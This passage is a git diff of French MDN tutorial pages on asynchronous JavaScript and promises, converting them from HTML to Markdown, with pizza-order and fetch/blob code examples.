que la troisième déclaration `console.log()` s'exécute également de manière asynchrone. Cela peut être fait en la déplaçant à l'intérieur d'un autre bloc `.then()` enchaîné à la fin du deuxième, ou en la déplaçant à l'intérieur du deuxième bloc `then()`. Essayez de corriger cela maintenant. -<div class="note"> - <p><strong>Note :</strong> Si vous êtes bloqué, vous pouvez <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync-fixed.html">trouver une réponse ici</a> (voyez-la fonctionner <a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/async-sync-fixed.html">en direct</a>). Vous pouvez également trouver beaucoup plus d'informations sur les promesses dans notre guide <a href="/fr/docs/Learn/JavaScript/Asynchronous/Promises">Gérer les opérations asynchrones avec élégance grâce aux Promesses</a>, plus loin dans ce module.</p> -</div> +> **Note :** Si vous êtes bloqué, vous pouvez [trouver une réponse ici](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync-fixed.html) (voyez-la fonctionner [en direct](https://mdn.github.io/learning-area/javascript/asynchronous/introducing/async-sync-fixed.html)). Vous pouvez également trouver beaucoup plus d'informations sur les promesses dans notre guide [Gérer les opérations asynchrones avec élégance grâce aux Promesses](/fr/docs/Learn/JavaScript/Asynchronous/Promises), plus loin dans ce module. -<h2 id="conclusion">Conclusion</h2> +## Conclusion -<p>Dans sa forme la plus élémentaire, JavaScript est un langage synchrone, bloquant et à un seul processus, dans lequel une seule opération peut être en cours à la fois. Mais les navigateurs web définissent des fonctions et des API qui nous permettent d'enregistrer des fonctions qui ne doivent pas être exécutées de manière synchrone, mais qui doivent être invoquées de manière asynchrone lorsqu'un événement quelconque se produit (le passage du temps, l'interaction de l'utilisateur avec la souris ou l'arrivée de données sur le réseau, par exemple). Cela signifie que vous pouvez laisser votre code faire plusieurs choses en même temps sans arrêter ou bloquer votre processus principal.</p> +Dans sa forme la plus élémentaire, JavaScript est un langage synchrone, bloquant et à un seul processus, dans lequel une seule opération peut être en cours à la fois. Mais les navigateurs web définissent des fonctions et des API qui nous permettent d'enregistrer des fonctions qui ne doivent pas être exécutées de manière synchrone, mais qui doivent être invoquées de manière asynchrone lorsqu'un événement quelconque se produit (le passage du temps, l'interaction de l'utilisateur avec la souris ou l'arrivée de données sur le réseau, par exemple). Cela signifie que vous pouvez laisser votre code faire plusieurs choses en même temps sans arrêter ou bloquer votre processus principal. -<p>Le fait de vouloir exécuter du code de manière synchrone ou asynchrone dépend de ce que l'on essaie de faire.</p> +Le fait de vouloir exécuter du code de manière synchrone ou asynchrone dépend de ce que l'on essaie de faire. -<p>Il y a des moments où nous voulons que les choses se chargent et se produisent immédiatement. Par exemple, lorsque vous appliquez des styles définis par l'utilisateur à une page web, vous voulez que les styles soient appliqués dès que possible.</p> +Il y a des moments où nous voulons que les choses se chargent et se produisent immédiatement. Par exemple, lorsque vous appliquez des styles définis par l'utilisateur à une page web, vous voulez que les styles soient appliqués dès que possible. -<p>Cependant, si nous exécutons une opération qui prend du temps, comme l'interrogation d'une base de données et l'utilisation des résultats pour remplir des modèles, il est préférable d'écarter cette opération du thread principal et de réaliser la tâche de manière asynchrone. Avec le temps, vous apprendrez quand il est plus judicieux de choisir une technique asynchrone plutôt qu'une technique synchrone.</p> +Cependant, si nous exécutons une opération qui prend du temps, comme l'interrogation d'une base de données et l'utilisation des résultats pour remplir des modèles, il est préférable d'écarter cette opération du thread principal et de réaliser la tâche de manière asynchrone. Avec le temps, vous apprendrez quand il est plus judicieux de choisir une technique asynchrone plutôt qu'une technique synchrone. -<p>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Concepts", "Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous")}}</p> +{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Concepts", "Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous")}} -<h2 id="in_this_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Concepts">Concepts généraux de programmation asynchrone</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Introducing">Introduction au JavaScript asynchrone</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">JavaScript asynchrone coopératif : Délais et intervalles</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Promises">Gérer les opérations asynchrones avec élégance grâce aux Promesses</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Async_await">Faciliter la programmation asynchrone avec async et await</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choisir la bonne approche</a></li> -</ul> +- [Concepts généraux de programmation asynchrone](/fr/docs/Learn/JavaScript/Asynchronous/Concepts) +- [Introduction au JavaScript asynchrone](/fr/docs/Learn/JavaScript/Asynchronous/Introducing) +- [JavaScript asynchrone coopératif : Délais et intervalles](/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals) +- [Gérer les opérations asynchrones avec élégance grâce aux Promesses](/fr/docs/Learn/JavaScript/Asynchronous/Promises) +- [Faciliter la programmation asynchrone avec async et await](/fr/docs/Learn/JavaScript/Asynchronous/Async_await) +- [Choisir la bonne approche](/fr/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach) diff --git a/files/fr/learn/javascript/asynchronous/promises/index.md b/files/fr/learn/javascript/asynchronous/promises/index.md index 69f6de6a21..0c3b506ed7 100644 --- a/files/fr/learn/javascript/asynchronous/promises/index.md +++ b/files/fr/learn/javascript/asynchronous/promises/index.md @@ -15,93 +15,94 @@ tags: - then translation_of: Learn/JavaScript/Asynchronous/Promises --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}} -<div>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}</div> - -<p><strong>Les promesses</strong> sont une fonctionnalité relativement nouvelle du langage JavaScript qui vous permet de reporter d'autres actions jusqu'à ce qu'une action précédente soit terminée, ou de répondre à son échec. Ceci est utile pour mettre en place une séquence d'opérations asynchrones afin qu'elles fonctionnent correctement. Cet article vous montre comment les promesses fonctionnent, comment vous les verrez utilisées avec les API Web, et comment écrire les vôtres.</p> +**Les promesses** sont une fonctionnalité relativement nouvelle du langage JavaScript qui vous permet de reporter d'autres actions jusqu'à ce qu'une action précédente soit terminée, ou de répondre à son échec. Ceci est utile pour mettre en place une séquence d'opérations asynchrones afin qu'elles fonctionnent correctement. Cet article vous montre comment les promesses fonctionnent, comment vous les verrez utilisées avec les API Web, et comment écrire les vôtres. <table class="standard-table"> <tbody> <tr> <th scope="row">Prérequis :</th> - <td>Connaissances informatiques de base, compréhension raisonnable des principes fondamentaux de JavaScript.</td> - </tr> + <td> + Connaissances informatiques de base, compréhension raisonnable des + principes fondamentaux de JavaScript. + </td> + </tr> <tr> <th scope="row">Objectif :</th> <td>Comprendre les promesses et savoir comment les utiliser.</td> - </tr> + </tr> </tbody> </table> -<h2 id="what_are_promises">Que sont les promesses ?</h2> +## Que sont les promesses ? -<p>Nous avons examiné les <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise">promesses (<code>Promise</code>)</a> brièvement dans le premier article du cours, mais ici nous allons les examiner de manière beaucoup plus approfondie.</p> +Nous avons examiné les [promesses (`Promise`)](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise) brièvement dans le premier article du cours, mais ici nous allons les examiner de manière beaucoup plus approfondie. -<p>Essentiellement, une promesse est un objet qui représente un état intermédiaire d'une opération - en fait, c'est une <em>promesse</em> qu'un résultat d'une certaine nature sera retourné à un moment donné dans le futur. Il n'y a aucune garantie du moment exact où l'opération se terminera et où le résultat sera renvoyé, mais il <em>est</em> une garantie que lorsque le résultat est disponible, ou que la promesse échoue, le code que vous fournissez sera exécuté afin de faire autre chose avec un résultat réussi, ou de gérer gracieusement un cas d'échec.</p> +Essentiellement, une promesse est un objet qui représente un état intermédiaire d'une opération - en fait, c'est une _promesse_ qu'un résultat d'une certaine nature sera retourné à un moment donné dans le futur. Il n'y a aucune garantie du moment exact où l'opération se terminera et où le résultat sera renvoyé, mais il _est_ une garantie que lorsque le résultat est disponible, ou que la promesse échoue, le code que vous fournissez sera exécuté afin de faire autre chose avec un résultat réussi, ou de gérer gracieusement un cas d'échec. -<p>En général, vous êtes moins intéressé par le temps qu'une opération asynchrone prendra pour renvoyer son résultat (à moins bien sûr qu'elle ne prenne <em>beaucoup</em> trop de temps !), et plus intéressé par le fait de pouvoir répondre à son retour, quel que soit le moment. Et bien sûr, il est agréable que cela ne bloque pas le reste de l'exécution du code.</p> +En général, vous êtes moins intéressé par le temps qu'une opération asynchrone prendra pour renvoyer son résultat (à moins bien sûr qu'elle ne prenne _beaucoup_ trop de temps !), et plus intéressé par le fait de pouvoir répondre à son retour, quel que soit le moment. Et bien sûr, il est agréable que cela ne bloque pas le reste de l'exécution du code. -<p>L'une des utilisations les plus courantes des promesses concerne les API web qui renvoient une promesse. Considérons une hypothétique application de chat vidéo. L'application dispose d'une fenêtre contenant une liste des amis de l'utilisateur, et un clic sur un bouton à côté d'un utilisateur lance un appel vidéo vers cet utilisateur.</p> +L'une des utilisations les plus courantes des promesses concerne les API web qui renvoient une promesse. Considérons une hypothétique application de chat vidéo. L'application dispose d'une fenêtre contenant une liste des amis de l'utilisateur, et un clic sur un bouton à côté d'un utilisateur lance un appel vidéo vers cet utilisateur. -<p>Le gestionnaire de ce bouton appelle <a href="/fr/docs/Web/API/MediaDevices/getUserMedia"><code>getUserMedia()</code></a> afin d'avoir accès à la caméra et au microphone de l'utilisateur. Puisque <code>getUserMedia()</code> doit s'assurer que l'utilisateur a la permission d'utiliser ces dispositifs <em>et</em> lui demander quel microphone utiliser et quelle caméra utiliser (ou s'il s'agit d'un appel vocal uniquement, parmi d'autres options possibles), il peut bloquer jusqu'à ce que non seulement toutes ces décisions soient prises, mais aussi que la caméra et le microphone soient activés. En outre, l'utilisateur peut ne pas répondre immédiatement à ces demandes d'autorisation. Cela peut potentiellement prendre beaucoup de temps.</p> +Le gestionnaire de ce bouton appelle [`getUserMedia()`](/fr/docs/Web/API/MediaDevices/getUserMedia) afin d'avoir accès à la caméra et au microphone de l'utilisateur. Puisque `getUserMedia()` doit s'assurer que l'utilisateur a la permission d'utiliser ces dispositifs _et_ lui demander quel microphone utiliser et quelle caméra utiliser (ou s'il s'agit d'un appel vocal uniquement, parmi d'autres options possibles), il peut bloquer jusqu'à ce que non seulement toutes ces décisions soient prises, mais aussi que la caméra et le microphone soient activés. En outre, l'utilisateur peut ne pas répondre immédiatement à ces demandes d'autorisation. Cela peut potentiellement prendre beaucoup de temps. -<p>Puisque l'appel à <code>getUserMedia()</code> est effectué depuis le processus principal du navigateur, l'ensemble du navigateur est bloqué jusqu'à ce que <code>getUserMedia()</code> retourne une réponse ! Évidemment, ce n'est pas une option viable ; sans les promesses, tout dans le navigateur devient inutilisable jusqu'à ce que l'utilisateur décide ce qu'il faut faire de la caméra et du microphone. Ainsi, au lieu d'attendre l'utilisateur, d'obtenir l'activation des périphériques choisis et de retourner directement le <a href="/fr/docs/Web/API/MediaStream"><code>MediaStream</code></a> pour le flux créé à partir des sources sélectionnées, <code>getUserMedia()</code> retourne une <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise"><code>promesse</code></a> qui est résolue avec le <a href="/fr/docs/Web/API/MediaStream"><code>MediaStream</code></a> une fois qu'il est disponible.</p> +Puisque l'appel à `getUserMedia()` est effectué depuis le processus principal du navigateur, l'ensemble du navigateur est bloqué jusqu'à ce que `getUserMedia()` retourne une réponse ! Évidemment, ce n'est pas une option viable ; sans les promesses, tout dans le navigateur devient inutilisable jusqu'à ce que l'utilisateur décide ce qu'il faut faire de la caméra et du microphone. Ainsi, au lieu d'attendre l'utilisateur, d'obtenir l'activation des périphériques choisis et de retourner directement le [`MediaStream`](/fr/docs/Web/API/MediaStream) pour le flux créé à partir des sources sélectionnées, `getUserMedia()` retourne une [`promesse`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise) qui est résolue avec le [`MediaStream`](/fr/docs/Web/API/MediaStream) une fois qu'il est disponible. -<p>Le code qu'utiliserait l'application de chat vidéo pourrait ressembler à ceci :</p> +Le code qu'utiliserait l'application de chat vidéo pourrait ressembler à ceci : -<pre class="brush: js">function handleCallButton(evt) { +```js +function handleCallButton(evt) { setStatusMessage("Appel..."); navigator.mediaDevices.getUserMedia({video: true, audio: true}) - .then(chatStream => { + .then(chatStream => { selfViewElem.srcObject = chatStream; - chatStream.getTracks().forEach(track => myPeerConnection.addTrack(track, chatStream)); + chatStream.getTracks().forEach(track => myPeerConnection.addTrack(track, chatStream)); setStatusMessage("Connecté"); - }).catch(err => { + }).catch(err => { setStatusMessage("Échec de la connexion"); }); } -</pre> +``` -<p>Cette fonction commence par utiliser une fonction appelée <code>setStatusMessage()</code> pour mettre à jour un affichage d'état avec le message "Appel...", indiquant qu'un appel est tenté.Il appelle ensuite <code>getUserMedia()</code>, demandant un flux qui a à la fois des pistes vidéo et audio, puis une fois que cela a été obtenu, configure un élément vidéo pour montrer le flux provenant de la caméra comme une "vue de soi", puis prend chacune des pistes du flux et les ajoute à la <a href="/fr/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a> <a href="/fr/docs/Web/API/WebRTC_API">WebRTC</a> représentant une connexion à un autre utilisateur. Après cela, l'affichage de l'état est mis à jour pour indiquer "Connecté".</p> +Cette fonction commence par utiliser une fonction appelée `setStatusMessage()` pour mettre à jour un affichage d'état avec le message "Appel...", indiquant qu'un appel est tenté.Il appelle ensuite `getUserMedia()`, demandant un flux qui a à la fois des pistes vidéo et audio, puis une fois que cela a été obtenu, configure un élément vidéo pour montrer le flux provenant de la caméra comme une "vue de soi", puis prend chacune des pistes du flux et les ajoute à la [`RTCPeerConnection`](/fr/docs/Web/API/RTCPeerConnection) [WebRTC](/fr/docs/Web/API/WebRTC_API) représentant une connexion à un autre utilisateur. Après cela, l'affichage de l'état est mis à jour pour indiquer "Connecté". -<p>Si <code>getUserMedia()</code> échoue, le bloc <code>catch</code> s'exécute. Celui-ci utilise <code>setStatusMessage()</code> pour mettre à jour la case d'état afin d'indiquer qu'une erreur s'est produite.</p> +Si `getUserMedia()` échoue, le bloc `catch` s'exécute. Celui-ci utilise `setStatusMessage()` pour mettre à jour la case d'état afin d'indiquer qu'une erreur s'est produite. -<p>La chose importante ici est que l'appel <code>getUserMedia()</code> revient presque immédiatement, même si le flux de la caméra n'a pas encore été obtenu. Même si la fonction <code>handleCallButton()</code> est déjà retournée au code qui l'a appelée, lorsque <code>getUserMedia()</code> a fini de travailler, elle appelle le gestionnaire que vous fournissez. Tant que l'application ne suppose pas que le flux a commencé, elle peut continuer à fonctionner.</p> +La chose importante ici est que l'appel `getUserMedia()` revient presque immédiatement, même si le flux de la caméra n'a pas encore été obtenu. Même si la fonction `handleCallButton()` est déjà retournée au code qui l'a appelée, lorsque `getUserMedia()` a fini de travailler, elle appelle le gestionnaire que vous fournissez. Tant que l'application ne suppose pas que le flux a commencé, elle peut continuer à fonctionner. -<div class="note"> - <p><strong>Note :</strong> Vous pouvez en apprendre davantage sur ce sujet quelque peu avancé, si cela vous intéresse, dans l'article <a href="/fr/docs/Web/API/WebRTC_API/Signaling_and_video_calling">L'essentiel du WebRTC</a>. Un code similaire à celui-ci, mais beaucoup plus complet, est utilisé dans cet exemple.</p> -</div> +> **Note :** Vous pouvez en apprendre davantage sur ce sujet quelque peu avancé, si cela vous intéresse, dans l'article [L'essentiel du WebRTC](/fr/docs/Web/API/WebRTC_API/Signaling_and_video_calling). Un code similaire à celui-ci, mais beaucoup plus complet, est utilisé dans cet exemple. -<h2 id="the_trouble_with_callbacks">Le problème des fonctions de rappel</h2> +## Le problème des fonctions de rappel -<p>Pour bien comprendre pourquoi les promesses sont une bonne chose, il est utile de repenser aux anciennes fonctions de rappel (<i>callback</i>) et de comprendre pourquoi elles sont problématiques.</p> +Pour bien comprendre pourquoi les promesses sont une bonne chose, il est utile de repenser aux anciennes fonctions de rappel (_callback_) et de comprendre pourquoi elles sont problématiques. -<p>Prenons l'exemple de la commande d'une pizza. Il y a certaines étapes que vous devez franchir pour que votre commande soit réussie, et cela n'a pas vraiment de sens d'essayer de les exécuter dans le désordre, ou dans l'ordre mais avant que chaque étape précédente ne soit tout à fait terminée :</p> +Prenons l'exemple de la commande d'une pizza. Il y a certaines étapes que vous devez franchir pour que votre commande soit réussie, et cela n'a pas vraiment de sens d'essayer de les exécuter dans le désordre, ou dans l'ordre mais avant que chaque étape précédente ne soit tout à fait terminée : -<ol> - <li>Vous choisissez les garnitures que vous voulez. Cela peut prendre un certain temps si vous êtes indécis, et peut échouer si vous n'arrivez pas à vous décider, ou si vous décidez de prendre un curry à la place.</li> - <li>Vous passez ensuite votre commande. Le retour d'une pizza peut prendre un certain temps et peut échouer si le restaurant ne dispose pas des ingrédients nécessaires à sa cuisson.</li> - <li>Vous récupérez ensuite votre pizza et la mangez. Cela peut échouer si, par exemple, vous avez oublié votre portefeuille et ne pouvez pas payer la pizza !</li> -</ol> +1. Vous choisissez les garnitures que vous voulez. Cela peut prendre un certain temps si vous êtes indécis, et peut échouer si vous n'arrivez pas à vous décider, ou si vous décidez de prendre un curry à la place. +2. Vous passez ensuite votre commande. Le retour d'une pizza peut prendre un certain temps et peut échouer si le restaurant ne dispose pas des ingrédients nécessaires à sa cuisson. +3. Vous récupérez ensuite votre pizza et la mangez. Cela peut échouer si, par exemple, vous avez oublié votre portefeuille et ne pouvez pas payer la pizza ! -<p>Avec l'ancien modèle de <a href="/fr/docs/Learn/JavaScript/Asynchronous/Introducing#callbacks">rappels</a>, une représentation en pseudo-code de la fonctionnalité ci-dessus pourrait ressembler à quelque chose comme ceci :</p> +Avec l'ancien modèle de [rappels](/fr/docs/Learn/JavaScript/Asynchronous/Introducing#callbacks), une représentation en pseudo-code de la fonctionnalité ci-dessus pourrait ressembler à quelque chose comme ceci : -<pre class="brush: js">chooseToppings(function(toppings) { +```js +chooseToppings(function(toppings) { placeOrder(toppings, function(order) { collectOrder(order, function(pizza) { eatPizza(pizza); }, failureCallback); }, failureCallback); -}, failureCallback);</pre> +}, failureCallback); +``` -<p>Cela est désordonné et difficile à lire (souvent appelé « <a href="http://callbackhell.com/"><i>callback hell</i></a> »), nécessite que le <code>failureCallback()</code> soit appelé plusieurs fois (une fois pour chaque fonction imbriquée), avec d'autres problèmes en plus.</p> +Cela est désordonné et difficile à lire (souvent appelé « [_callback hell_](http://callbackhell.com/) »), nécessite que le `failureCallback()` soit appelé plusieurs fois (une fois pour chaque fonction imbriquée), avec d'autres problèmes en plus. -<h3 id="improvements_with_promises">Améliorations avec des promesses</h3> +### Améliorations avec des promesses -<p>Les promesses facilitent grandement l'écriture, l'analyse et l'exécution de situations telles que celle décrite ci-dessus. Si nous avions représenté le pseudo-code ci-dessus en utilisant des promesses asynchrones à la place, nous aurions obtenu quelque chose comme ceci :</p> +Les promesses facilitent grandement l'écriture, l'analyse et l'exécution de situations telles que celle décrite ci-dessus. Si nous avions représenté le pseudo-code ci-dessus en utilisant des promesses asynchrones à la place, nous aurions obtenu quelque chose comme ceci : -<pre class="brush: js">chooseToppings() +```js +chooseToppings() .then(function(toppings) { return placeOrder(toppings); }) @@ -111,322 +112,337 @@ translation_of: Learn/JavaScript/Asynchronous/Promises .then(function(pizza) { eatPizza(pizza); }) -.catch(failureCallback);</pre> +.catch(failureCallback); +``` -<p>C'est bien mieux - il est plus facile de voir ce qui se passe, nous n'avons besoin que d'un seul bloc <code>.catch()</code> pour gérer toutes les erreurs, cela ne bloque pas le processus principal (nous pouvons donc continuer à jouer à des jeux vidéo en attendant que la pizza soit prête à être collectée), et chaque opération a la garantie d'attendre que les opérations précédentes soient terminées avant de s'exécuter. Nous sommes en mesure d'enchaîner plusieurs actions asynchrones pour qu'elles se produisent les unes après les autres de cette façon, car chaque bloc <code>.then()</code> renvoie une nouvelle promesse qui se résout lorsque le bloc <code>.then()</code> a fini de s'exécuter. Astucieux, non ?</p> +C'est bien mieux - il est plus facile de voir ce qui se passe, nous n'avons besoin que d'un seul bloc `.catch()` pour gérer toutes les erreurs, cela ne bloque pas le processus principal (nous pouvons donc continuer à jouer à des jeux vidéo en attendant que la pizza soit prête à être collectée), et chaque opération a la garantie d'attendre que les opérations précédentes soient terminées avant de s'exécuter. Nous sommes en mesure d'enchaîner plusieurs actions asynchrones pour qu'elles se produisent les unes après les autres de cette façon, car chaque bloc `.then()` renvoie une nouvelle promesse qui se résout lorsque le bloc `.then()` a fini de s'exécuter. Astucieux, non ? -<p>En utilisant les fonctions flèches, vous pouvez simplifier encore plus le code :</p> +En utilisant les fonctions flèches, vous pouvez simplifier encore plus le code : -<pre class="brush: js">chooseToppings() -.then(toppings => +```js +chooseToppings() +.then(toppings => placeOrder(toppings) ) -.then(order => +.then(order => collectOrder(order) ) -.then(pizza => +.then(pizza => eatPizza(pizza) ) -.catch(failureCallback);</pre> - -<p>Ou encore ça :</p> - -<pre class="brush: js">chooseToppings() -.then(toppings => placeOrder(toppings)) -.then(order => collectOrder(order)) -.then(pizza => eatPizza(pizza)) -.catch(failureCallback);</pre> - -<p>Cela fonctionne car avec les fonctions flèches <code>() => x</code> est un raccourci valide pour <code>() => { return x ; }</code>.</p> - -<p>Vous pourriez même le faire ainsi, puisque les fonctions ne font que passer leurs arguments directement, et qu'il n'y a donc pas besoin de cette couche supplémentaire de fonctions :</p> - -<pre class="brush: js">chooseToppings().then(placeOrder).then(collectOrder).then(eatPizza).catch(failureCallback);</pre> - -<p>Cependant, la lecture n'est pas aussi facile et cette syntaxe peut ne pas être utilisable si vos blocs sont plus complexes que ce que nous avons montré ici.</p> - -<div class="note"> - <p><strong>Note :</strong> Vous pouvez apporter d'autres améliorations avec la syntaxe <code>async</code>/<code>await</code>, que nous aborderons dans le prochain article.</p> -</div> - -<p>Dans leur forme la plus basique, les promesses sont similaires aux écouteurs d'événements, mais avec quelques différences :</p> - -<ul> - <li>Une promesse ne peut réussir ou échouer qu'une seule fois. Elle ne peut pas réussir ou échouer deux fois et elle ne peut pas passer du succès à l'échec ou vice versa une fois l'opération terminée.</li> - <li>Si une promesse a réussi ou échoué et que vous ajoutez plus tard une de rappel de réussite/échec, la bonne fonction de rappel sera appelée, même si l'événement a eu lieu plus tôt.</li> -</ul> - -<h2 id="explaining_basic_promise_syntax_a_real_example">Explication de la syntaxe de base des promesses : exemple concret</h2> - -<p>Il est important de comprendre les promesses, car la plupart des API Web modernes les utilisent pour les fonctions qui exécutent des tâches potentiellement longues. Pour utiliser les technologies Web modernes, vous devrez utiliser des promesses. Plus loin dans ce chapitre, nous verrons comment écrire votre propre promesse, mais pour l'instant, nous allons nous pencher sur quelques exemples simples que vous rencontrerez dans les API Web.</p> - -<p>Dans le premier exemple, nous allons utiliser la méthode <a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch"><code>fetch()</code></a> pour récupérer une image sur le web, la méthode <a href="/fr/docs/Web/API/Body/blob"><code>blob()</code></a> pour transformer le contenu brut du corps de la réponse fetch en un objet <a href="/fr/docs/Web/API/Blob"><code>Blob</code></a>, puis afficher ce blob à l'intérieur d'un élément <a href="/fr/docs/Web/HTML/Element/Img"><code><img></code></a>. Cet exemple est très similaire à celui que nous avons examiné dans le <a href="/fr/docs/Learn/JavaScript/Asynchronous/Introducing#asynchronous_javascript">premier article</a>, mais nous le ferons un peu différemment au fur et à mesure que nous vous ferons construire votre propre code basé sur des promesses.</p> - -<div class="note"> - <p><strong>Note :</strong> L'exemple suivant ne fonctionnera pas si vous l'exécutez directement à partir du fichier (c'est-à-dire via une URL <code>file://</code>). Vous devez l'exécuter via un <a href="/fr/docs/Learn/Common_questions/set_up_a_local_testing_server">serveur de test local</a>, ou utiliser une solution en ligne telle que <a href="https://glitch.com/">Glitch</a> ou <a href="/fr/docs/Learn/Common_questions/Using_Github_pages">les pages GitHub</a>.</p> -</div> - -<ol> - <li> - <p>Tout d'abord, téléchargez notre <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">modèle HTML simple</a> et le <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/coffee.jpg">fichier image</a> que nous allons récupérer.</p> - </li> - <li> - <p>Ajoutez un élément <a href="/fr/docs/Web/HTML/Element/script"><code><script></code></a> au bas de l'élément HTML <a href="/fr/docs/Web/HTML/Element/body"><code><body></code></a>.</p> - </li> - <li> - <p>À l'intérieur de votre élément <a href="/fr/docs/Web/HTML/Element/script"><code><script></code></a>, ajoutez la ligne suivante :</p> - <pre class="brush: js">let promise = fetch('coffee.jpg');</pre> - <p>Cela appelle la méthode <code>fetch()</code>, en lui passant en paramètre l'URL de l'image à récupérer sur le réseau. Cette méthode peut également prendre un objet d'options comme second paramètre facultatif, mais nous n'utilisons que la version la plus simple pour le moment. Nous stockons l'objet promesse retourné par <code>fetch()</code> à l'intérieur d'une variable appelée <code>promise</code>. Comme nous l'avons dit précédemment, cet objet représente un état intermédiaire qui n'est initialement ni un succès ni un échec - le terme officiel pour une promesse dans cet état est <strong>en attente</strong> (<i>pending</i> en anglais).</p> - </li> - <li> - <p>Pour répondre à l'achèvement réussi de l'opération lorsque cela se produit (dans ce cas, lorsqu'une <a href="/fr/docs/Web/API/Response">réponse</a> est retournée), nous invoquons la méthode <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/then"><code>.then()</code></a> de l'objet promesse. La fonction de rappel à l'intérieur du bloc <code>.then()</code> s'exécute uniquement lorsque l'appel de la promesse se termine avec succès et retourne l'objet <a href="/fr/docs/Web/API/Response"><code>Response</code></a> — en langage de promesse, lorsqu'elle a été <strong>remplie</strong> (<i>fullfilled</i> en anglais). On lui passe l'objet <a href="/fr/docs/Web/API/Response"><code>Response</code></a> retourné en tant que paramètre.</p> - <div class="note"> - <p><strong>Note :</strong> Le fonctionnement d'un bloc <code>.then()</code> est similaire à celui de l'ajout d'un écouteur d'événements à un objet à l'aide de <code>AddEventListener()</code>. Il ne s'exécute pas avant qu'un événement ne se produise (lorsque la promesse se réalise). La différence la plus notable est qu'un <code>.then()</code> ne s'exécutera qu'une fois à chaque fois qu'il sera utilisé, alors qu'un écouteur d'événements pourrait être invoqué plusieurs fois.</p> - </div> - <p>Nous exécutons immédiatement la méthode <code>blob()</code> sur cette réponse pour nous assurer que le corps de la réponse est entièrement téléchargé, et lorsqu'il est disponible, le transformer en un objet <code>Blob</code> avec lequel nous pouvons faire quelque chose. Le résultat de cette méthode est retourné comme suit :</p> - <pre class="brush: js">response => response.blob()</pre> - <p>qui est un raccourci de</p> - <pre class="brush: js">function(response) { - return response.blob(); -}</pre> - <p>Malheureusement, nous devons faire un peu plus que cela. Les promesses de récupération n'échouent pas sur les erreurs 404 ou 500 - seulement sur quelque chose de catastrophique comme une panne de réseau. Au lieu de cela, elles réussissent, mais avec la propriété <a href="/fr/docs/Web/API/Response/ok"><code>response.ok</code></a> définie à <code>false</code>. Pour produire une erreur sur un 404, par exemple, nous devons vérifier la valeur de <code>response.ok</code>, et si c'est <code>false</code>, lancer une erreur, ne renvoyant le blob que si elle est à <code>true</code>. Cela peut être fait comme suit - ajoutez les lignes suivantes sous votre première ligne de JavaScript.</p> - <pre class="brush: js">let promise2 = promise.then(response => { - if (!response.ok) { - throw new Error(`erreur HTTP ! statut : ${response.status}`); - } else { - return response.blob(); - } -});</pre> - </li> - <li> - <p>Chaque appel à la méthode <code>.then()</code> crée une nouvelle promesse. Ceci est très utile ; parce que la méthode <code>blob()</code> renvoie également une promesse, nous pouvons manipuler l'objet <code>Blob</code> qu'elle renvoie sur l'accomplissement en invoquant la méthode <code>.then()</code> de la seconde promesse. Parce que nous voulons faire quelque chose d'un peu plus complexe au blob que de simplement exécuter une seule méthode sur lui et renvoyer le résultat, nous devrons envelopper le corps de la fonction dans des accolades cette fois (sinon, ça lancera une erreur).</p> - <p>Ajoutez ce qui suit à la fin de votre code :</p> - <pre class="brush: js">let promise3 = promise2.then(myBlob => { -})</pre> - </li> - <li> - <p>Maintenant, remplissons le corps de la fonction de rappel <code>.then()</code>. Ajoutez les lignes suivantes à l'intérieur des accolades :</p> - <pre class="brush: js">let objectURL = URL.createObjectURL(myBlob); -let image = document.createElement('img'); -image.src = objectURL; -document.body.appendChild(image);</pre> - <p>Nous exécutons ici la méthode <a href="/fr/docs/Web/API/URL/createObjectURL"><code>URL.createObjectURL()</code></a>, en lui passant en paramètre le <code>Blob</code> renvoyé lors de la réalisation de la deuxième promesse. Cela permettra de renvoyer une URL pointant vers l'objet. Ensuite, nous créons un élément <a href="/fr/docs/Web/HTML/Element/Img"><code><img></code></a>, définissons son attribut <code>src</code> comme étant égal à l'URL de l'objet et l'ajoutons au DOM, de sorte que l'image s'affiche sur la page !</p> - </li> -</ol> - -<p>Si vous enregistrez le fichier HTML que vous venez de créer et le chargez dans votre navigateur, vous verrez que l'image s'affiche dans la page comme prévu. Bon travail !</p> - -<div class="note"> - <p><strong>Note :</strong> Vous remarquerez probablement que ces exemples sont quelque peu artificiels. Vous pourriez tout simplement vous passer de toute la chaîne <code>fetch()</code> et <code>blob()</code>, et simplement créer un élément <code><img></code> et définir la valeur de son attribut <code>src</code> à l'URL du fichier image, <code>coffee.jpg</code>. Nous avons toutefois choisi cet exemple parce qu'il démontre les promesses d'une manière simple et agréable, plutôt que pour sa pertinence dans le 